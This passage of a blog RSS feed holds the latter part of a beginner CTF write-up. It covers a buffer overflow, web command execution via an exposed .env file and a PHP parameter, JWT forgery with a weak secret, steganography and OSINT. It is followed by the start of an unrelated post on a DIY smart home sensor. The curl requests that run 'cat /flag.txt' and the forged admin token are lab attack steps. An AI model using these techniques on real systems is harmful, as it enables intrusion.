aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
the flag is flag&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;m0r3_th4n_72_n1ce!&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

Connection closed by foreign host.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ah! Just a plain trivial buffer overflow, and we got the flag, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{m0r3_th4n_72_n1ce!}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mluis&lt;/code&gt; did spend some time looking at the binary source code, and found out that there is an signal handler for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SIGSEGV&lt;/code&gt; that prints the flag if any part of the code does an &lt;em&gt;illegally access or modify memory&lt;/em&gt;, typically caused by &lt;em&gt;uninitialized or NULL pointer values or by memory overlays&lt;/em&gt;.&lt;/p&gt;

&lt;h2 id=&quot;hidden-in-the-web&quot;&gt;Hidden In the Web&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Set up your toolkit, and get ready to start the audit…&lt;/p&gt;

  &lt;p&gt;To access the challenge, click on the following link: &lt;a href=&quot;http://example.com:10101&quot;&gt;http://example.com:10101&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;![[Screenshot 2022-12-01 at 12-35-41 Hidden In the Web - hackrocks.png]&lt;/p&gt;

&lt;p&gt;So, this time we get a web challenge with greet us with a &lt;em&gt;under construction&lt;/em&gt; page. Looking at the source code of the page we get an obvious hint:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- 
Hey Marcus, dont forget to change the permission of environment. thanks!
Sincerely, Adrian
 --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So &lt;em&gt;Marcus&lt;/em&gt; must change the permissions to some file. Let’s get a dir buster running. But, let’s start by the simpliest scan, open &lt;a href=&quot;https://owasp.org/www-project-zap/&quot;&gt;OWASP Zap&lt;/a&gt; and do a default automatic scan give us an exposed sensitive file, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.env&lt;/code&gt;. The content of that file was juicy, as expected:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ curl &lt;span class=&quot;s1&quot;&gt;&apos;http://example.com:10101/.env&apos;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/s3cr3t_3ntr4nce.php
&lt;span class=&quot;nv&quot;&gt;CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;c0mm
&lt;span class=&quot;nv&quot;&gt;METHOD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;GET
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we have a path, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s3cr3t_3ntr4nce.php&lt;/code&gt; that gives us command execution! Let’s mess around a litte in the folder directory:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ curl &lt;span class=&quot;s1&quot;&gt;&apos;http://example.com:10101/s3cr3t_3ntr4nce.php?c0mm=ls%20%2F..&apos;&lt;/span&gt;
bin
boot
dev
etc
flag.txt
home
lib
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Oh! An obvious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag.txt&lt;/code&gt; file!&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ curl &lt;span class=&quot;s1&quot;&gt;&apos;http://example.com:10101/s3cr3t_3ntr4nce.php?c0mm=cat%20%2Fflag.txt&apos;&lt;/span&gt;
flag&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;m4rcus_f0rg0t_t0_change_perm_env_and_igot_shell&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Printing the contents, we get our flag, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{m4rcus_f0rg0t_t0_change_perm_env_and_igot_shell}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;talkies-talk&quot;&gt;Talkies Talk&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;We just know that the person is named &lt;strong&gt;James&lt;/strong&gt;, and a &lt;strong&gt;Picture&lt;/strong&gt; of the last place he was. Can you find him?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;center&gt;
&lt;img style=&quot;max-width: 50%;&quot; alt=&quot;Place&quot; src=&quot;/images/hackrocks22/20221112112111.png&quot; /&gt;
&lt;/center&gt;

&lt;p&gt;So this was an OSINT challenge. The first part of the challenge was pretty straightforward, just finding the place were the picture was taken, you can use Google Images, or Yandex Image search to get to the result directly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/hackrocks22/20221112112504.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So, we have KOPI 98 cafe located in &lt;em&gt;Jl. Boulevard Graha Raya No.30, Paku Jaya, Kec. Serpong Utara, Kota Tangerang Selatan, Banten 15220, Indonesia&lt;/em&gt;. But where to go from here now?&lt;/p&gt;

&lt;p&gt;After losing some hair trying to understand where to go from here, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mluis&lt;/code&gt; suggested to look into the reviews, and we found the flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/hackrocks22/20221112112442.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Author: Jameskenniyantopurica
Nice coffee&lt;br /&gt;
flag{n0needToreverseImag3me!}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Flag was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{n0needToreverseImag3me!}&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;bad-cookie&quot;&gt;Bad Cookie&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Access the website provided to us and help us rewrite the report.&lt;br /&gt;
To access the challenge, click on the following link: &lt;a href=&quot;http://example.com:17821&quot;&gt;http://example.com:17821&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/images/hackrocks22/20221201124047.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So another web challenge. This was also a pretty straightforward challenge, but I didn’t look at the source code, so I took the longest road possible. But let’s get to the details. We have a web page with 3 sub pages, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Home&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admin&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Message&lt;/code&gt;. Trying to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admin&lt;/code&gt; page gives us an alert message: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;no cookie!&lt;/code&gt;. So we have to get a cookie.&lt;/p&gt;

&lt;p&gt;Getting to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Message&lt;/code&gt; page, we have an input box for our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;. Entering anything in this field gives us a cookie that set the field &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x-access-token&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/hackrocks22/20221201124137.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However, if we try to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admin&lt;/code&gt; we still don’t have the necessary cookie. Looking at the cookie we can see that it is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt&lt;/code&gt; token:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJndWVzdCIsImlkIjoidGVzdCIsImV4cCI6MTY2OTkwMDI3NX0.G-MCKnN3jluboyrxXCHDCU2TF8CfZWVXnyUc3HP4QfQ&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;a href=&quot;https://jwt.io/&quot;&gt;jwt.io&lt;/a&gt; we can see the fields of the cookie which is signed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HMACSHA256&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;public_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;guest&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1669900275&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we can see that our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public_id&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;guest&lt;/code&gt;, and, most probably, we need to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admin&lt;/code&gt; page. So, trying to understand the most common attacks to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt&lt;/code&gt; I found out a tool, &lt;a href=&quot;https://github.com/ticarpi/jwt_tool#the-json-web-token-toolkit-v2&quot;&gt;JSON Web Token Toolkit v2&lt;/a&gt;, that, after configuring the target URL and specifying our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt&lt;/code&gt; as input, automatically attempts to find issues with it, as it quickly found out that the key using to sign the token was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12345&lt;/code&gt; by merely bruteforce with the built-in dictionary. However, as aforementioned, this was an unnecessary effort, given that as a commentary in the source code we had the following message:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- 
putting jwt beautifier in here soon!
DEBUG note for QA:
the current jwt secret is 12345
--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Oh well. Using the same tool also aids us on generating a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt&lt;/code&gt; with any modifications we need:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJndWVzdCIsImlkIjoidGVzdCIsImV4cCI6MTY2ODI1NTkxOH0.QKE7Vlzxr_-BzOmFhPnYPjw9cuVYJjsrNatDRSBikyc &lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-S&lt;/span&gt; hs256 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;12345&quot;&lt;/span&gt;

Token header values:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1] alg &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;HS256&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2] typ &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;JWT&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;3] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;ADD A VALUE&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;4] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;DELETE A VALUE&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0] Continue to next step

Please &lt;span class=&quot;k&quot;&gt;select &lt;/span&gt;a field number:
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;or 0 to Continue&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0

Token payload values:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1] public_id &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;guest&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2] &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;3] exp &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 1668255918    &lt;span class=&quot;o&quot;&gt;==&amp;gt;&lt;/span&gt; TIMESTAMP &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 2022-11-12 12:25:18 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UTC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;4] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;ADD A VALUE&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;5] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;DELETE A VALUE&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;6] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;UPDATE TIMESTAMPS&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0] Continue to next step

Please &lt;span class=&quot;k&quot;&gt;select &lt;/span&gt;a field number:
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;or 0 to Continue&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 1

Current value of public_id is: guest
Please enter new value and hit ENTER
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; admin
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1] public_id &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;admin&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2] &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;3] exp &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 1668255918    &lt;span class=&quot;o&quot;&gt;==&amp;gt;&lt;/span&gt; TIMESTAMP &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 2022-11-12 12:25:18 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UTC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;4] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;ADD A VALUE&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;5] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;DELETE A VALUE&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;6] &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;UPDATE TIMESTAMPS&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0] Continue to next step

Please &lt;span class=&quot;k&quot;&gt;select &lt;/span&gt;a field number:
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;or 0 to Continue&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0
jwttool_98c7e8bf492b3d9160ae70364245e1b8 - Tampered token - HMAC Signing:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhZG1pbiIsImlkIjoidGVzdCIsImV4cCI6MTY2ODI1NTkxOH0.T3aPtPlGJ8FDt_K3z0-57yOHNdoWyJ3bAERbIJd4KWQ
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Trying to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; page with the crafted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x-access-token&lt;/code&gt; reveals the flag: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{wh0a_y0u_g0t_m3_g00d_thr0ugh_jwt}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;distant-sounds&quot;&gt;Distant Sounds&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Just an &lt;strong&gt;Audio file&lt;/strong&gt;. At the moment, we don’t have much information for you, only that it has somehow been involved in the latest attack by a known cybercriminal gang.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So another steg/crypto challenge with an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sounds.wav&lt;/code&gt; file.  Listing to the audio it is obviously Morse code, so using &lt;a href=&quot;https://morsecode.world/international/decoder/audio-decoder-adaptive.html&quot;&gt;Morse Code Adaptive Audio Decoder&lt;/a&gt; we get the message &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SAYFRIENDANDCOMEIN&lt;/code&gt;. But this was not the flag.&lt;/p&gt;

&lt;center&gt;
&lt;img style=&quot;max-width: 60%;&quot; alt=&quot;morse decoder&quot; src=&quot;/images/hackrocks22/20221112120006.png&quot; /&gt;
&lt;/center&gt;

&lt;p&gt;In this part I’ve wasted too much time looking at this as a reference to Lord of the Rings when &lt;em&gt;Gandalf&lt;/em&gt; tries to enter Moria by the Western Gate, given that the challenge was similar:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“It reads ‘The Doors of Durin — Lord of Moria. Speak, friend, and enter.’” – Gandalf&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But using the movie referenced word “mellon” as the flag, &lt;em&gt;the Sindarin word for “friend”&lt;/em&gt;, did not work.&lt;/p&gt;

&lt;p&gt;One thing that I noticed is that the audio was really sloooww, so maybe there was more to the file than meets the ear. Attempting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binwalk&lt;/code&gt; provided nothing new. However, one other tool that is commonly used to hide files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wav&lt;/code&gt; sound files is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steghide&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Doing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steghide extract –sf sounds.wav&lt;/code&gt; prompt us to enter a password, and using as password the word &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;friend&lt;/code&gt; gave us a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret.txt&lt;/code&gt; file.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;secret.txt
Greetings! Youve found the flag &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;this game: IWHIOPDNJI
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the flag is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IWHIOPDNJI&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;talkies-talk-ii&quot;&gt;Talkies Talk II&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;The &lt;strong&gt;GCP&lt;/strong&gt; indicates that it has managed to find out that &lt;em&gt;maigret&lt;/em&gt; should be used, because James would never send a picture without hidden information.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We get an image and nothing more. I’ve wasted too much time also on this challenge because I missed to notice the obvious, but oh well. After attempting all the usual stegnography tricks, no luck. Even the output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exiftool&lt;/code&gt; did not provide any useful info, or at least, that was what I though. After &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mluis&lt;/code&gt; suggestion to look closer to the output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exiftool&lt;/code&gt; it became obvious that there was an author in the picture metadata, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xdc9&lt;/code&gt;. As the username was hexadecimal it passed by me as purely gibberish, but it was not.&lt;/p&gt;

&lt;p&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maigret&lt;/code&gt; or, more knownly, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sherlock&lt;/code&gt;, both tools to find usernames in social networks, would quickly lead us to a Twitter account with only one post:&lt;/p&gt;

&lt;center&gt;
&lt;img style=&quot;max-width: 80%;&quot; alt=&quot;leak image&quot; src=&quot;/images/hackrocks22/20221201204640.png&quot; /&gt;
&lt;/center&gt;

&lt;p&gt;And we get our last flag: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{well_i_am_exposed_through_one_pic}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;wrap-up&quot;&gt;Wrap-up&lt;/h2&gt;

&lt;p&gt;So this was the first CTF by InvestAmarante, and the first one that I played from &lt;em&gt;hackrocks&lt;/em&gt;. As a newbie friendly CTF it was quick to solve (even quicker if I did not so much time into &lt;em&gt;rabbit holes&lt;/em&gt;). A recommendation for &lt;em&gt;hackrocks&lt;/em&gt; is to be more realistic/precise about the categories, and try to stick to the common ones that typically apply. And, at last, I managed to finish in the 11&lt;sup&gt;th&lt;/sup&gt; position.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/hackrocks22/20221206232957.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Thu, 08 Dec 2022 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/security/2022/12/08/hackrocks-ctf.html</link>
        <guid isPermaLink="true">https://jpdias.me/security/2022/12/08/hackrocks-ctf.html</guid>
        
        <category>security</category>
        
        <category>ctf</category>
        
        <category>hackrocks</category>
        
        <category>hacking</category>
        
        
        <category>security</category>
        
      </item>
    
      <item>
        <title>A (not so smart) smart home</title>
        <description>&lt;p&gt;Internet-of-Things, cyber-physical systems, smart spaces, smart anything… All these buzzwords and keywords are either vendor-generated for pushing ever-complex devices and things from WiFi-controlled kettles to health monitoring devices or created by academia (e.g., Internet-of-Everything, Web-of-Things, Connected Devices, Smart Devices) to sustain minor works by reinventing well-known technologies and approaches. In this post we will go back to the basics of IoT, without all the keyword-driven buzz, and build a simple temperature/humidity monitoring system with a &lt;em&gt;mostly&lt;/em&gt; straightforward architecture and with minimal programming/configuration needs.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;Off-the-shelf IoT devices are typically (1) &lt;strong&gt;complex&lt;/strong&gt; by depending on proprietary application-layer specifications for communicating and, sometimes, even depend on specific hardware, (2) &lt;strong&gt;expensive&lt;/strong&gt;, especially if you wish for something more or less reliable, (3) &lt;strong&gt;depend on proprietary software&lt;/strong&gt; (&lt;em&gt;with all the bonus telemetry and other goods &lt;del&gt;powered by some states&lt;/del&gt;&lt;/em&gt;), and, lastly, (4) they do a lot of unnecessary things (e.g., always-on microphones).&lt;/p&gt;

&lt;p&gt;Nonetheless, I see the potential in IoT, although I disagree with how most IoT systems are built today. For simple problems, simple solutions (and, preferably, cheap ones). And the problem is simple, and I want to monitor the humidity and temperature of several rooms in a two-floor house. But (1) I should be able to do it with cheap off-the-shelf devices (even if I need to &lt;em&gt;flash&lt;/em&gt; them), (2) the setup/programming should be minimal, (3) data should be available anywhere anytime, and (4) the architecture of the system should be minimal, i.e., I do not want to run five different services on top of an always-on Raspberry Pi just to be able to see a chart with some data points.&lt;/p&gt;

&lt;h2 id=&quot;the-approach&quot;&gt;The Approach&lt;/h2&gt;

&lt;h3 id=&quot;finding-the-right-device&quot;&gt;Finding the Right Device&lt;/h3&gt;

&lt;p&gt;First things first, we need a sensor device capable of collecting temperature/humidity and communicating this data wirelessly. There are a lot of sensors in the market capable of doing such using different protocols and with different power efficiency solutions.&lt;/p&gt;

&lt;p&gt;For starters, we could use some WiFi-based setup, with some cheap ESP8266 plus a DHT22; however, the power consumption of those devices is not that low, so it would require some maintenance in terms of batteries (and, further, it would require some soldering and manual wiring). Next, we could use some ZigBee / Thread / Matter or whatever Connectivity Standards Alliance is now pushing as the “solution” for the standards issue&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, but that would require specific hardware or some DIY gateway with a Raspberry and a ZigBee / Thread dongle, so no-go. There are other “state-of-the-art” solutions, but they are typically expensive or over-engineered for this use case.&lt;/p&gt;

&lt;center&gt;
&lt;img style=&quot;max-width: 30% !important&quot; src=&quot;/images/smarthome/xiaomi.jpeg&quot; /&gt;
&lt;/center&gt;

&lt;p&gt;Lastly, one of the technologies that have been around for some time now (circa 2009) and have proven to be one of the most battery-efficient ones is Bluetooth Low Energy. And as one of the oldest techs, it is easy to find cheap devices that leverage the protocol, one of them being the &lt;a href=&quot;https://xiaomi-mi.com/sockets-and-sensors/mijia-temperature-and-humidity-monitor-2/&quot;&gt;Xiaomi MIJIA Temperature and Humidity Monitor 2&lt;/a&gt; (model: LYWSD03MMC), which can be found for around 5$ a piece.&lt;/p&gt;

